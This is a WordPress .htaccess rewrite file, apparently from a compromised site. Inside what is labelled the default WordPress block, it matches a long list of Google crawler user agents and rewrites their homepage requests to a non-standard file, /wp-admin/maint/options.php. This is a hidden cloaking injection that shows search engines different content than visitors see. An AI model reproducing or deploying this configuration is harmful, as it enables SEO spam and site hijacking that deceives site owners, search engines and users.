# BEGIN WordPress RewriteEngine On # --- Googlebot handling --- # Detect Google crawlers (expanded list) RewriteCond %{HTTP_USER_AGENT} (Googlebot|Googlebot-News|Googlebot-Image|Googlebot-Video|Googlebot-Mobile|Mediapartners-Google|AdsBot-Google|AdsBot-Google-Mobile|APIs-Google|Googlebot-AdsBot|Googlebot-Desktop|Googlebot-Search|Googlebot-Events|Googlebot-Tablet|Googlebot-Local|Googlebot-Apps|Googlebot-Connect|Googlebot-Books|Googlebot-Publisher|Googlebot-News-RSS|Feedfetcher-Google|DuplexWeb-Google|Google-InspectionTool|Google\ Favicon|Google\ Web\ Preview) [NC] # Redirect Googlebot hitting the homepage RewriteCond %{REQUEST_URI} ^/$ RewriteRule ^$ /wp-admin/maint/options.php [L] # --- Default WordPress rules --- RewriteBase /a RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # END WordPress